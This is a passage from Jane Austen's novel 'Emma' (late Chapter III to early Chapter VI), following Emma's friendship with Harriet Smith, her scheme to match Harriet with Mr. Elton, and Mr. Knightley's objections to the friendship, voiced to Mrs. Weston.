+for the elegancies and society of Mr. Woodhouse's drawing-room, +and the smiles of his lovely daughter, was in no danger of being +thrown away. + +After these came a second set; among the most come-at-able +of whom were Mrs. and Miss Bates, and Mrs. Goddard, three ladies +almost always at the service of an invitation from Hartfield, +and who were fetched and carried home so often, that Mr. Woodhouse +thought it no hardship for either James or the horses. Had it +taken place only once a year, it would have been a grievance. + +Mrs. Bates, the widow of a former vicar of Highbury, was a +very old lady, almost past every thing but tea and quadrille. +She lived with her single daughter in a very small way, and was +considered with all the regard and respect which a harmless old lady, +under such untoward circumstances, can excite. Her daughter enjoyed +a most uncommon degree of popularity for a woman neither young, +handsome, rich, nor married. Miss Bates stood in the very worst +predicament in the world for having much of the public favour; +and she had no intellectual superiority to make atonement to herself, +or frighten those who might hate her into outward respect. +She had never boasted either beauty or cleverness. Her youth +had passed without distinction, and her middle of life was devoted +to the care of a failing mother, and the endeavour to make a small +income go as far as possible. And yet she was a happy woman, +and a woman whom no one named without good-will. It was her own +universal good-will and contented temper which worked such wonders. +She loved every body, was interested in every body's happiness, +quicksighted to every body's merits; thought herself a most fortunate +creature, and surrounded with blessings in such an excellent mother, +and so many good neighbours and friends, and a home that wanted +for nothing. The simplicity and cheerfulness of her nature, +her contented and grateful spirit, were a recommendation to every body, +and a mine of felicity to herself. She was a great talker upon +little matters, which exactly suited Mr. Woodhouse, full of trivial +communications and harmless gossip. + +Mrs. Goddard was the mistress of a School--not of a seminary, +or an establishment, or any thing which professed, in long sentences of +refined nonsense, to combine liberal acquirements with elegant morality, +upon new principles and new systems--and where young ladies for +enormous pay might be screwed out of health and into vanity--but +a real, honest, old-fashioned Boarding-school, where a reasonable +quantity of accomplishments were sold at a reasonable price, +and where girls might be sent to be out of the way, and scramble +themselves into a little education, without any danger of coming +back prodigies. Mrs. Goddard's school was in high repute--and +very deservedly; for Highbury was reckoned a particularly healthy +spot: she had an ample house and garden, gave the children plenty +of wholesome food, let them run about a great deal in the summer, +and in winter dressed their chilblains with her own hands. +It was no wonder that a train of twenty young couple now walked +after her to church. She was a plain, motherly kind of woman, +who had worked hard in her youth, and now thought herself entitled +to the occasional holiday of a tea-visit; and having formerly +owed much to Mr. Woodhouse's kindness, felt his particular claim +on her to leave her neat parlour, hung round with fancy-work, +whenever she could, and win or lose a few sixpences by his fireside. + +These were the ladies whom Emma found herself very frequently +able to collect; and happy was she, for her father's sake, +in the power; though, as far as she was herself concerned, +it was no remedy for the absence of Mrs. Weston. She was delighted +to see her father look comfortable, and very much pleased with +herself for contriving things so well; but the quiet prosings +of three such women made her feel that every evening so spent +was indeed one of the long evenings she had fearfully anticipated. + +As she sat one morning, looking forward to exactly such a close +of the present day, a note was brought from Mrs. Goddard, requesting, +in most respectful terms, to be allowed to bring Miss Smith with her; +a most welcome request: for Miss Smith was a girl of seventeen, +whom Emma knew very well by sight, and had long felt an interest in, +on account of her beauty. A very gracious invitation was returned, +and the evening no longer dreaded by the fair mistress of the mansion. + +Harriet Smith was the natural daughter of somebody. Somebody had +placed her, several years back, at Mrs. Goddard's school, +and somebody had lately raised her from the condition of scholar +to that of parlour-boarder. This was all that was generally known +of her history. She had no visible friends but what had been +acquired at Highbury, and was now just returned from a long visit +in the country to some young ladies who had been at school there with her. + +She was a very pretty girl, and her beauty happened to be of a sort +which Emma particularly admired. She was short, plump, and fair, +with a fine bloom, blue eyes, light hair, regular features, +and a look of great sweetness, and, before the end of the evening, +Emma was as much pleased with her manners as her person, and quite +determined to continue the acquaintance. + +She was not struck by any thing remarkably clever in Miss Smith's +conversation, but she found her altogether very engaging--not +inconveniently shy, not unwilling to talk--and yet so far from pushing, +shewing so proper and becoming a deference, seeming so pleasantly +grateful for being admitted to Hartfield, and so artlessly +impressed by the appearance of every thing in so superior a style +to what she had been used to, that she must have good sense, +and deserve encouragement. Encouragement should be given. +Those soft blue eyes, and all those natural graces, should not be +wasted on the inferior society of Highbury and its connexions. +The acquaintance she had already formed were unworthy of her. +The friends from whom she had just parted, though very good sort +of people, must be doing her harm. They were a family of the name +of Martin, whom Emma well knew by character, as renting a large farm +of Mr. Knightley, and residing in the parish of Donwell--very creditably, +she believed--she knew Mr. Knightley thought highly of them--but they +must be coarse and unpolished, and very unfit to be the intimates +of a girl who wanted only a little more knowledge and elegance +to be quite perfect. _She_ would notice her; she would improve her; +she would detach her from her bad acquaintance, and introduce her +into good society; she would form her opinions and her manners. +It would be an interesting, and certainly a very kind undertaking; +highly becoming her own situation in life, her leisure, and powers. + +She was so busy in admiring those soft blue eyes, in talking +and listening, and forming all these schemes in the in-betweens, that +the evening flew away at a very unusual rate; and the supper-table, +which always closed such parties, and for which she had been +used to sit and watch the due time, was all set out and ready, +and moved forwards to the fire, before she was aware. With an +alacrity beyond the common impulse of a spirit which yet was never +indifferent to the credit of doing every thing well and attentively, +with the real good-will of a mind delighted with its own ideas, +did she then do all the honours of the meal, and help and recommend +the minced chicken and scalloped oysters, with an urgency which she +knew would be acceptable to the early hours and civil scruples of their guests. + +Upon such occasions poor Mr. Woodhouses feelings were in sad warfare. +He loved to have the cloth laid, because it had been the fashion +of his youth, but his conviction of suppers being very unwholesome +made him rather sorry to see any thing put on it; and while his +hospitality would have welcomed his visitors to every thing, +his care for their health made him grieve that they would eat. + +Such another small basin of thin gruel as his own was all that +he could, with thorough self-approbation, recommend; though he +might constrain himself, while the ladies were comfortably clearing +the nicer things, to say: + +"Mrs. Bates, let me propose your venturing on one of these eggs. +An egg boiled very soft is not unwholesome. Serle understands boiling +an egg better than any body. I would not recommend an egg boiled +by any body else; but you need not be afraid, they are very small, +you see--one of our small eggs will not hurt you. Miss Bates, +let Emma help you to a _little_ bit of tart--a _very_ little bit. +Ours are all apple-tarts. You need not be afraid of unwholesome +preserves here. I do not advise the custard. Mrs. Goddard, what say +you to _half_ a glass of wine? A _small_ half-glass, put into a tumbler +of water? I do not think it could disagree with you." + +Emma allowed her father to talk--but supplied her visitors in +a much more satisfactory style, and on the present evening had +particular pleasure in sending them away happy. The happiness +of Miss Smith was quite equal to her intentions. Miss Woodhouse +was so great a personage in Highbury, that the prospect of the +introduction had given as much panic as pleasure; but the humble, +grateful little girl went off with highly gratified feelings, +delighted with the affability with which Miss Woodhouse had treated +her all the evening, and actually shaken hands with her at last! + + + +CHAPTER IV + + +Harriet Smith's intimacy at Hartfield was soon a settled thing. +Quick and decided in her ways, Emma lost no time in inviting, encouraging, +and telling her to come very often; and as their acquaintance increased, +so did their satisfaction in each other. As a walking companion, +Emma had very early foreseen how useful she might find her. +In that respect Mrs. Weston's loss had been important. Her father +never went beyond the shrubbery, where two divisions of the ground +sufficed him for his long walk, or his short, as the year varied; +and since Mrs. Weston's marriage her exercise had been too much confined. +She had ventured once alone to Randalls, but it was not pleasant; +and a Harriet Smith, therefore, one whom she could summon at any +time to a walk, would be a valuable addition to her privileges. +But in every respect, as she saw more of her, she approved her, +and was confirmed in all her kind designs. + +Harriet certainly was not clever, but she had a sweet, docile, +grateful disposition, was totally free from conceit, and only desiring +to be guided by any one she looked up to. Her early attachment +to herself was very amiable; and her inclination for good company, +and power of appreciating what was elegant and clever, shewed that +there was no want of taste, though strength of understanding must +not be expected. Altogether she was quite convinced of Harriet +Smith's being exactly the young friend she wanted--exactly the +something which her home required. Such a friend as Mrs. Weston +was out of the question. Two such could never be granted. +Two such she did not want. It was quite a different sort of thing, +a sentiment distinct and independent. Mrs. Weston was the object +of a regard which had its basis in gratitude and esteem. +Harriet would be loved as one to whom she could be useful. +For Mrs. Weston there was nothing to be done; for Harriet every thing. + +Her first attempts at usefulness were in an endeavour to find out who +were the parents, but Harriet could not tell. She was ready to tell +every thing in her power, but on this subject questions were vain. +Emma was obliged to fancy what she liked--but she could never +believe that in the same situation _she_ should not have discovered +the truth. Harriet had no penetration. She had been satisfied +to hear and believe just what Mrs. Goddard chose to tell her; +and looked no farther. + +Mrs. Goddard, and the teachers, and the girls and the affairs of the +school in general, formed naturally a great part of the conversation--and +but for her acquaintance with the Martins of Abbey-Mill Farm, +it must have been the whole. But the Martins occupied her thoughts +a good deal; she had spent two very happy months with them, +and now loved to talk of the pleasures of her visit, and describe +the many comforts and wonders of the place. Emma encouraged her +talkativeness--amused by such a picture of another set of beings, +and enjoying the youthful simplicity which could speak with so much +exultation of Mrs. Martin's having "_two_ parlours, two very good parlours, +indeed; one of them quite as large as Mrs. Goddard's drawing-room; +and of her having an upper maid who had lived five-and-twenty years +with her; and of their having eight cows, two of them Alderneys, +and one a little Welch cow, a very pretty little Welch cow indeed; +and of Mrs. Martin's saying as she was so fond of it, it should be +called _her_ cow; and of their having a very handsome summer-house +in their garden, where some day next year they were all to drink +tea:--a very handsome summer-house, large enough to hold a dozen people." + +For some time she was amused, without thinking beyond the immediate cause; +but as she came to understand the family better, other feelings arose. +She had taken up a wrong idea, fancying it was a mother and daughter, +a son and son's wife, who all lived together; but when it appeared +that the Mr. Martin, who bore a part in the narrative, and was always +mentioned with approbation for his great good-nature in doing something +or other, was a single man; that there was no young Mrs. Martin, +no wife in the case; she did suspect danger to her poor little +friend from all this hospitality and kindness, and that, if she +were not taken care of, she might be required to sink herself forever. + +With this inspiriting notion, her questions increased in number +and meaning; and she particularly led Harriet to talk more of Mr. Martin, +and there was evidently no dislike to it. Harriet was very ready +to speak of the share he had had in their moonlight walks and merry +evening games; and dwelt a good deal upon his being so very good-humoured +and obliging. He had gone three miles round one day in order to bring +her some walnuts, because she had said how fond she was of them, +and in every thing else he was so very obliging. He had his +shepherd's son into the parlour one night on purpose to sing to her. +She was very fond of singing. He could sing a little himself. +She believed he was very clever, and understood every thing. +He had a very fine flock, and, while she was with them, +he had been bid more for his wool than any body in the country. +She believed every body spoke well of him. His mother and sisters +were very fond of him. Mrs. Martin had told her one day (and there +was a blush as she said it,) that it was impossible for any body +to be a better son, and therefore she was sure, whenever he married, +he would make a good husband. Not that she _wanted_ him to marry. +She was in no hurry at all. + +"Well done, Mrs. Martin!" thought Emma. "You know what you are about." + +"And when she had come away, Mrs. Martin was so very kind as to send +Mrs. Goddard a beautiful goose--the finest goose Mrs. Goddard had +ever seen. Mrs. Goddard had dressed it on a Sunday, and asked all +the three teachers, Miss Nash, and Miss Prince, and Miss Richardson, +to sup with her." + +"Mr. Martin, I suppose, is not a man of information beyond the line +of his own business? He does not read?" + +"Oh yes!--that is, no--I do not know--but I believe he has +read a good deal--but not what you would think any thing of. +He reads the Agricultural Reports, and some other books that lay +in one of the window seats--but he reads all _them_ to himself. +But sometimes of an evening, before we went to cards, he would read +something aloud out of the Elegant Extracts, very entertaining. +And I know he has read the Vicar of Wakefield. He never read the +Romance of the Forest, nor The Children of the Abbey. He had never +heard of such books before I mentioned them, but he is determined +to get them now as soon as ever he can." + +The next question was-- + +"What sort of looking man is Mr. Martin?" + +"Oh! not handsome--not at all handsome. I thought him very plain +at first, but I do not think him so plain now. One does not, you know, +after a time. But did you never see him? He is in Highbury every +now and then, and he is sure to ride through every week in his way +to Kingston. He has passed you very often." + +"That may be, and I may have seen him fifty times, but without +having any idea of his name. A young farmer, whether on horseback +or on foot, is the very last sort of person to raise my curiosity. +The yeomanry are precisely the order of people with whom I feel I +can have nothing to do. A degree or two lower, and a creditable +appearance might interest me; I might hope to be useful to their +families in some way or other. But a farmer can need none of my help, +and is, therefore, in one sense, as much above my notice as in every +other he is below it." + +"To be sure. Oh yes! It is not likely you should ever have +observed him; but he knows you very well indeed--I mean by sight." + +"I have no doubt of his being a very respectable young man. +I know, indeed, that he is so, and, as such, wish him well. +What do you imagine his age to be?" + +"He was four-and-twenty the 8th of last June, and my birthday is +the 23rd just a fortnight and a day's difference--which is very odd." + +"Only four-and-twenty. That is too young to settle. His mother is +perfectly right not to be in a hurry. They seem very comfortable +as they are, and if she were to take any pains to marry him, +she would probably repent it. Six years hence, if he could meet +with a good sort of young woman in the same rank as his own, +with a little money, it might be very desirable." + +"Six years hence! Dear Miss Woodhouse, he would be thirty years old!" + +"Well, and that is as early as most men can afford to marry, +who are not born to an independence. Mr. Martin, I imagine, +has his fortune entirely to make--cannot be at all beforehand with +the world. Whatever money he might come into when his father died, +whatever his share of the family property, it is, I dare say, +all afloat, all employed in his stock, and so forth; and though, +with diligence and good luck, he may be rich in time, it is next to +impossible that he should have realised any thing yet." + +"To be sure, so it is. But they live very comfortably. +They have no indoors man, else they do not want for any thing; +and Mrs. Martin talks of taking a boy another year." + +"I wish you may not get into a scrape, Harriet, whenever he does +marry;--I mean, as to being acquainted with his wife--for though +his sisters, from a superior education, are not to be altogether +objected to, it does not follow that he might marry any body at all fit +for you to notice. The misfortune of your birth ought to make you +particularly careful as to your associates. There can be no doubt +of your being a gentleman's daughter, and you must support your +claim to that station by every thing within your own power, or there +will be plenty of people who would take pleasure in degrading you." + +"Yes, to be sure, I suppose there are. But while I visit +at Hartfield, and you are so kind to me, Miss Woodhouse, +I am not afraid of what any body can do." + +"You understand the force of influence pretty well, Harriet; but I +would have you so firmly established in good society, as to be +independent even of Hartfield and Miss Woodhouse. I want to see you +permanently well connected, and to that end it will be advisable +to have as few odd acquaintance as may be; and, therefore, I say +that if you should still be in this country when Mr. Martin marries, +I wish you may not be drawn in by your intimacy with the sisters, +to be acquainted with the wife, who will probably be some mere +farmer's daughter, without education." + +"To be sure. Yes. Not that I think Mr. Martin would ever marry any body +but what had had some education--and been very well brought up. +However, I do not mean to set up my opinion against your's--and I +am sure I shall not wish for the acquaintance of his wife. I shall +always have a great regard for the Miss Martins, especially Elizabeth, +and should be very sorry to give them up, for they are quite as well +educated as me. But if he marries a very ignorant, vulgar woman, +certainly I had better not visit her, if I can help it." + +Emma watched her through the fluctuations of this speech, +and saw no alarming symptoms of love. The young man had been +the first admirer, but she trusted there was no other hold, +and that there would be no serious difficulty, on Harriet's side, +to oppose any friendly arrangement of her own. + +They met Mr. Martin the very next day, as they were walking on the +Donwell road. He was on foot, and after looking very respectfully +at her, looked with most unfeigned satisfaction at her companion. +Emma was not sorry to have such an opportunity of survey; +and walking a few yards forward, while they talked together, soon made +her quick eye sufficiently acquainted with Mr. Robert Martin. +His appearance was very neat, and he looked like a sensible young man, +but his person had no other advantage; and when he came to be +contrasted with gentlemen, she thought he must lose all the ground +he had gained in Harriet's inclination. Harriet was not insensible +of manner; she had voluntarily noticed her father's gentleness +with admiration as well as wonder. Mr. Martin looked as if he +did not know what manner was. + +They remained but a few minutes together, as Miss Woodhouse must +not be kept waiting; and Harriet then came running to her with a +smiling face, and in a flutter of spirits, which Miss Woodhouse +hoped very soon to compose. + +"Only think of our happening to meet him!--How very odd! It was +quite a chance, he said, that he had not gone round by Randalls. +He did not think we ever walked this road. He thought we walked +towards Randalls most days. He has not been able to get the +Romance of the Forest yet. He was so busy the last time he was +at Kingston that he quite forgot it, but he goes again to-morrow. +So very odd we should happen to meet! Well, Miss Woodhouse, is he +like what you expected? What do you think of him? Do you think him +so very plain?" + +"He is very plain, undoubtedly--remarkably plain:--but that is +nothing compared with his entire want of gentility. I had no +right to expect much, and I did not expect much; but I had no +idea that he could be so very clownish, so totally without air. +I had imagined him, I confess, a degree or two nearer gentility." + +"To be sure," said Harriet, in a mortified voice, "he is not +so genteel as real gentlemen." + +"I think, Harriet, since your acquaintance with us, you have been +repeatedly in the company of some such very real gentlemen, +that you must yourself be struck with the difference in Mr. Martin. +At Hartfield, you have had very good specimens of well educated, +well bred men. I should be surprized if, after seeing them, +you could be in company with Mr. Martin again without perceiving +him to be a very inferior creature--and rather wondering at +yourself for having ever thought him at all agreeable before. +Do not you begin to feel that now? Were not you struck? I am sure +you must have been struck by his awkward look and abrupt manner, +and the uncouthness of a voice which I heard to be wholly unmodulated +as I stood here." + +"Certainly, he is not like Mr. Knightley. He has not such a fine +air and way of walking as Mr. Knightley. I see the difference +plain enough. But Mr. Knightley is so very fine a man!" + +"Mr. Knightley's air is so remarkably good that it is not fair +to compare Mr. Martin with _him_. You might not see one in a hundred +with _gentleman_ so plainly written as in Mr. Knightley. But he is +not the only gentleman you have been lately used to. What say you +to Mr. Weston and Mr. Elton? Compare Mr. Martin with either of _them_. +Compare their manner of carrying themselves; of walking; of speaking; +of being silent. You must see the difference." + +"Oh yes!--there is a great difference. But Mr. Weston is almost +an old man. Mr. Weston must be between forty and fifty." + +"Which makes his good manners the more valuable. The older a +person grows, Harriet, the more important it is that their manners +should not be bad; the more glaring and disgusting any loudness, +or coarseness, or awkwardness becomes. What is passable in youth +is detestable in later age. Mr. Martin is now awkward and abrupt; +what will he be at Mr. Weston's time of life?" + +"There is no saying, indeed," replied Harriet rather solemnly. + +"But there may be pretty good guessing. He will be a completely gross, +vulgar farmer, totally inattentive to appearances, and thinking +of nothing but profit and loss." + +"Will he, indeed? That will be very bad." + +"How much his business engrosses him already is very plain from the +circumstance of his forgetting to inquire for the book you recommended. +He was a great deal too full of the market to think of any thing +else--which is just as it should be, for a thriving man. What has +he to do with books? And I have no doubt that he _will_ thrive, +and be a very rich man in time--and his being illiterate and coarse +need not disturb _us_." + +"I wonder he did not remember the book"--was all Harriet's answer, +and spoken with a degree of grave displeasure which Emma thought might +be safely left to itself. She, therefore, said no more for some time. +Her next beginning was, + +"In one respect, perhaps, Mr. Elton's manners are superior +to Mr. Knightley's or Mr. Weston's. They have more gentleness. +They might be more safely held up as a pattern. There is an openness, +a quickness, almost a bluntness in Mr. Weston, which every body +likes in _him_, because there is so much good-humour with it--but +that would not do to be copied. Neither would Mr. Knightley's +downright, decided, commanding sort of manner, though it suits +_him_ very well; his figure, and look, and situation in life seem +to allow it; but if any young man were to set about copying him, +he would not be sufferable. On the contrary, I think a young man +might be very safely recommended to take Mr. Elton as a model. +Mr. Elton is good-humoured, cheerful, obliging, and gentle. +He seems to me to be grown particularly gentle of late. I do not +know whether he has any design of ingratiating himself with either +of us, Harriet, by additional softness, but it strikes me that his +manners are softer than they used to be. If he means any thing, +it must be to please you. Did not I tell you what he said of you +the other day?" + +She then repeated some warm personal praise which she had drawn +from Mr. Elton, and now did full justice to; and Harriet blushed +and smiled, and said she had always thought Mr. Elton very agreeable. + +Mr. Elton was the very person fixed on by Emma for driving +the young farmer out of Harriet's head. She thought it would +be an excellent match; and only too palpably desirable, natural, +and probable, for her to have much merit in planning it. +She feared it was what every body else must think of and predict. +It was not likely, however, that any body should have equalled +her in the date of the plan, as it had entered her brain during +the very first evening of Harriet's coming to Hartfield. The longer +she considered it, the greater was her sense of its expediency. +Mr. Elton's situation was most suitable, quite the gentleman himself, +and without low connexions; at the same time, not of any family +that could fairly object to the doubtful birth of Harriet. He had a +comfortable home for her, and Emma imagined a very sufficient income; +for though the vicarage of Highbury was not large, he was known +to have some independent property; and she thought very highly +of him as a good-humoured, well-meaning, respectable young man, +without any deficiency of useful understanding or knowledge of the world. + +She had already satisfied herself that he thought Harriet a beautiful +girl, which she trusted, with such frequent meetings at Hartfield, +was foundation enough on his side; and on Harriet's there could be +little doubt that the idea of being preferred by him would have all +the usual weight and efficacy. And he was really a very pleasing +young man, a young man whom any woman not fastidious might like. +He was reckoned very handsome; his person much admired in general, +though not by her, there being a want of elegance of feature which +she could not dispense with:--but the girl who could be gratified +by a Robert Martin's riding about the country to get walnuts +for her might very well be conquered by Mr. Elton's admiration. + + + +CHAPTER V + + +"I do not know what your opinion may be, Mrs. Weston," said Mr. Knightley, "of +this great intimacy between Emma and Harriet Smith, but I think it a bad thing." + +"A bad thing! Do you really think it a bad thing?--why so?" + +"I think they will neither of them do the other any good." + +"You surprize me! Emma must do Harriet good: and by supplying her +with a new object of interest, Harriet may be said to do Emma good. +I have been seeing their intimacy with the greatest pleasure. +How very differently we feel!--Not think they will do each other any +good! This will certainly be the beginning of one of our quarrels +about Emma, Mr. Knightley." + +"Perhaps you think I am come on purpose to quarrel with you, +knowing Weston to be out, and that you must still fight your own battle." + +"Mr. Weston would undoubtedly support me, if he were here, +for he thinks exactly as I do on the subject. We were speaking +of it only yesterday, and agreeing how fortunate it was for Emma, +that there should be such a girl in Highbury for her to associate with. +Mr. Knightley, I shall not allow you to be a fair judge in this case. +You are so much used to live alone, that you do not know the value +of a companion; and, perhaps no man can be a good judge of the comfort +a woman feels in the society of one of her own sex, after being used +to it all her life. I can imagine your objection to Harriet Smith. +She is not the superior young woman which Emma's friend ought to be. +But on the other hand, as Emma wants to see her better informed, +it will be an inducement to her to read more herself. They will +read together. She means it, I know." + +"Emma has been meaning to read more ever since she was twelve +years old. I have seen a great many lists of her drawing-up at +various times of books that she meant to read regularly through--and +very good lists they were--very well chosen, and very neatly +arranged--sometimes alphabetically, and sometimes by some other rule. +The list she drew up when only fourteen--I remember thinking it +did her judgment so much credit, that I preserved it some time; +and I dare say she may have made out a very good list now. But I +have done with expecting any course of steady reading from Emma. +She will never submit to any thing requiring industry and patience, +and a subjection of the fancy to the understanding. Where Miss Taylor +failed to stimulate, I may safely affirm that Harriet Smith will do +nothing.--You never could persuade her to read half so much as you +wished.--You know you could not." + +"I dare say," replied Mrs. Weston, smiling, "that I thought +so _then_;--but since we have parted, I can never remember Emma's +omitting to do any thing I wished." + +"There is hardly any desiring to refresh such a memory as _that_,"--said +Mr. Knightley, feelingly; and for a moment or two he had done. "But I," +he soon added, "who have had no such charm thrown over my senses, +must still see, hear, and remember. Emma is spoiled by being the +cleverest of her family. At ten years old, she had the misfortune of +being able to answer questions which puzzled her sister at seventeen. +She was always quick and assured: Isabella slow and diffident. +And ever since she was twelve, Emma has been mistress of the house +and of you all. In her mother she lost the only person able to cope +with her. She inherits her mother's talents, and must have been +under subjection to her." + +"I should have been sorry, Mr. Knightley, to be dependent on +_your_ recommendation, had I quitted Mr. Woodhouse's family and wanted +another situation; I do not think you would have spoken a good word for +me to any body. I am sure you always thought me unfit for the office I held." + +"Yes," said he, smiling. "You are better placed _here_; very fit +for a wife, but not at all for a governess. But you were preparing +yourself to be an excellent wife all the time you were at Hartfield. +You might not give Emma such a complete education as your powers would +seem to promise; but you were receiving a very good education from _her_, +on the very material matrimonial point of submitting your own will, +and doing as you were bid; and if Weston had asked me to recommend +him a wife, I should certainly have named Miss Taylor." + +"Thank you. There will be very little merit in making a good wife +to such a man as Mr. Weston." + +"Why, to own the truth, I am afraid you are rather thrown away, +and that with every disposition to bear, there will be nothing +to be borne. We will not despair, however. Weston may grow cross +from the wantonness of comfort, or his son may plague him." + +"I hope not _that_.--It is not likely. No, Mr. Knightley, do not +foretell vexation from that quarter." + +"Not I, indeed. I only name possibilities. I do not pretend to Emma's +genius for foretelling and guessing. I hope, with all my heart, +the young man may be a Weston in merit, and a Churchill in fortune.--But +Harriet Smith--I have not half done about Harriet Smith. I think +her the very worst sort of companion that Emma could possibly have. +She knows nothing herself, and looks upon Emma as knowing every thing. +She is a flatterer in all her ways; and so much the worse, +because undesigned. Her ignorance is hourly flattery. How can +Emma imagine she has any thing to learn herself, while Harriet +is presenting such a delightful inferiority? And as for Harriet, +I will venture to say that _she_ cannot gain by the acquaintance. +Hartfield will only put her out of conceit with all the other places +she belongs to. She will grow just refined enough to be uncomfortable +with those among whom birth and circumstances have placed her home. +I am much mistaken if Emma's doctrines give any strength of mind, +or tend at all to make a girl adapt herself rationally to the varieties +of her situation in life.--They only give a little polish." + +"I either depend more upon Emma's good sense than you do, or am more +anxious for her present comfort; for I cannot lament the acquaintance. +How well she looked last night!" + +"Oh! you would rather talk of her person than her mind, would you? +Very well; I shall not attempt to deny Emma's being pretty." + +"Pretty! say beautiful rather. Can you imagine any thing nearer +perfect beauty than Emma altogether--face and figure?" + +"I do not know what I could imagine, but I confess that I have +seldom seen a face or figure more pleasing to me than hers. +But I am a partial old friend." + +"Such an eye!--the true hazle eye--and so brilliant! regular features, +open countenance, with a complexion! oh! what a bloom of full health, +and such a pretty height and size; such a firm and upright figure! +There is health, not merely in her bloom, but in her air, her head, +her glance. One hears sometimes of a child being `the picture +of health;' now, Emma always gives me the idea of being the complete +picture of grown-up health. She is loveliness itself. Mr. Knightley, +is not she?" + +"I have not a fault to find with her person," he replied. +"I think her all you describe. I love to look at her; and I +will add this praise, that I do not think her personally vain. +Considering how very handsome she is, she appears to be little +occupied with it; her vanity lies another way. Mrs. Weston, I am +not to be talked out of my dislike of Harriet Smith, or my dread +of its doing them both harm." + +"And I, Mr. Knightley, am equally stout in my confidence of its +not doing them any harm. With all dear Emma's little faults, +she is an excellent creature. Where shall we see a better daughter, +or a kinder sister, or a truer friend? No, no; she has qualities +which may be trusted; she will never lead any one really wrong; +she will make no lasting blunder; where Emma errs once, she is in the +right a hundred times." + +"Very well; I will not plague you any more. Emma shall be an angel, +and I will keep my spleen to myself till Christmas brings John +and Isabella. John loves Emma with a reasonable and therefore +not a blind affection, and Isabella always thinks as he does; +except when he is not quite frightened enough about the children. +I am sure of having their opinions with me." + +"I know that you all love her really too well to be unjust or unkind; +but excuse me, Mr. Knightley, if I take the liberty (I consider myself, +you know, as having somewhat of the privilege of speech that Emma's +mother might have had) the liberty of hinting that I do not think +any possible good can arise from Harriet Smith's intimacy being made +a matter of much discussion among you. Pray excuse me; but supposing +any little inconvenience may be apprehended from the intimacy, +it cannot be expected that Emma, accountable to nobody but her father, +who perfectly approves the acquaintance, should put an end to it, +so long as it is a source of pleasure to herself. It has been so +many years my province to give advice, that you cannot be surprized, +Mr. Knightley, at this little remains of office." + +"Not at all," cried he; "I am much obliged to you for it. +It is very good advice, and it shall have a better fate than your +advice has often found; for it shall be attended to." + +"Mrs. John Knightley is easily alarmed, and might be made unhappy +about her sister." + +"Be satisfied," said he, "I will not raise any outcry. I will keep +my ill-humour to myself. I have a very sincere interest in Emma. +Isabella does not seem more my sister; has never excited a +greater interest; perhaps hardly so great. There is an anxiety, +a curiosity in what one feels for Emma. I wonder what will become +of her!" + +"So do I," said Mrs. Weston gently, "very much." + +"She always declares she will never marry, which, of course, +means just nothing at all. But I have no idea that she has yet +ever seen a man she cared for. It would not be a bad thing for her +to be very much in love with a proper object. I should like to see +Emma in love, and in some doubt of a return; it would do her good. +But there is nobody hereabouts to attach her; and she goes so seldom +from home." + +"There does, indeed, seem as little to tempt her to break +her resolution at present," said Mrs. Weston, "as can well be; +and while she is so happy at Hartfield, I cannot wish her to be +forming any attachment which would be creating such difficulties +on poor Mr. Woodhouse's account. I do not recommend matrimony +at present to Emma, though I mean no slight to the state, I assure you." + +Part of her meaning was to conceal some favourite thoughts of +her own and Mr. Weston's on the subject, as much as possible. +There were wishes at Randalls respecting Emma's destiny, but it +was not desirable to have them suspected; and the quiet transition +which Mr. Knightley soon afterwards made to "What does Weston +think of the weather; shall we have rain?" convinced her that he +had nothing more to say or surmise about Hartfield. + + + +CHAPTER VI + + +Emma could not feel a doubt of having given Harriet's fancy +a proper direction and raised the gratitude of her young vanity +to a very good purpose, for she found her decidedly more sensible +than before of Mr. Elton's being a remarkably handsome man, with most +agreeable manners; and as she had no hesitation in following up +the assurance of his admiration by agreeable hints, she was soon +pretty confident of creating as much liking on Harriet's side, +as there could be any occasion for. She was quite convinced +of Mr. Elton's being in the fairest way of falling in love, +if not in love already. She had no scruple with regard to him. +He talked of Harriet, and praised her so warmly, that she could +not suppose any thing wanting which a little time would not add. +His perception of the striking improvement of Harriet's manner, +since her introduction at Hartfield, was not one of the least +agreeable proofs of his growing attachment. + +"You have given Miss Smith all that she required," said he; +"you have made her graceful and easy. She was a beautiful creature +when she came to you, but, in my opinion, the attractions you have +added are infinitely superior to what she received from nature." + +"I am glad you think I have been useful to her; but Harriet +only wanted drawing out, and receiving a few, very few hints. +She had all the natural grace of sweetness of temper and artlessness +in herself. I have done very little." + +"If it were admissible to contradict a lady," said the gallant +Mr. Elton-- + +"I have perhaps given her a little more decision of character, +have taught her to think on points which had not fallen in her +way before." + +"Exactly so; that is what principally strikes me. So much superadded +decision of character! Skilful has been the hand!" + +"Great has been the pleasure, I am sure. I never met with +a disposition more truly amiable." + +"I have no doubt of it." And it was spoken with a sort +of sighing animation, which had a vast deal of the lover. +She was not less pleased another day with the manner +in which he seconded a sudden wish of hers, to have Harriet's picture. + +"Did you ever have your likeness taken, Harriet?" said she: "did +you ever sit for your picture?" + +Harriet was on the point of leaving the room, and only stopt to say, +with a very interesting naivete, + +"Oh! dear, no, never." + +No sooner was she out of sight, than Emma exclaimed, + +"What an exquisite possession a good picture of her would be! I would +give any money for it. I almost long to attempt her likeness myself. +You do not know it I dare say, but two or three years ago I had +a great passion for taking likenesses, and attempted several of +my friends, and was thought to have a tolerable eye in general. +But from one cause or another, I gave it up in disgust. +But really, I could almost venture, if Harriet would sit to me. +It would be such a delight to have her picture!" + +"Let me entreat you," cried Mr. Elton; "it would indeed be a delight! +Let me entreat you, Miss Woodhouse, to exercise so charming a +talent in favour of your friend. I know what your drawings are. +How could you suppose me ignorant? Is not this room rich in +specimens of your landscapes and flowers; and has not Mrs. Weston +some inimitable figure-pieces in her drawing-room, at Randalls?" + +Yes, good man!--thought Emma--but what has all that to do with taking +likenesses? You know nothing of drawing. Don't pretend to be +in raptures about mine. Keep your raptures for Harriet's face. +"Well, if you give me such kind encouragement, Mr. Elton, I believe +I shall try what I can do. Harriet's features are very delicate, +which makes a likeness difficult; and yet there is a peculiarity +in the shape of the eye and the lines about the mouth which one ought +to catch." + +"Exactly so--The shape of the eye and the lines about the mouth--I +have not a doubt of your success. Pray, pray attempt it. +As you will do it, it will indeed, to use your own words, +be an exquisite possession." + +"But I am afraid, Mr. Elton, Harriet will not like to sit. +She thinks so little of her own beauty. Did not you observe her +manner of answering me? How completely it meant, `why should my +picture be drawn?'" + +"Oh! yes, I observed it, I assure you. It was not lost on me. +But still I cannot imagine she would not be persuaded." + +Harriet was soon back again, and the proposal almost immediately made; +and she had no scruples which could stand many minutes against the earnest +pressing of both the others. Emma wished to go to work directly, +and therefore produced the portfolio containing her various 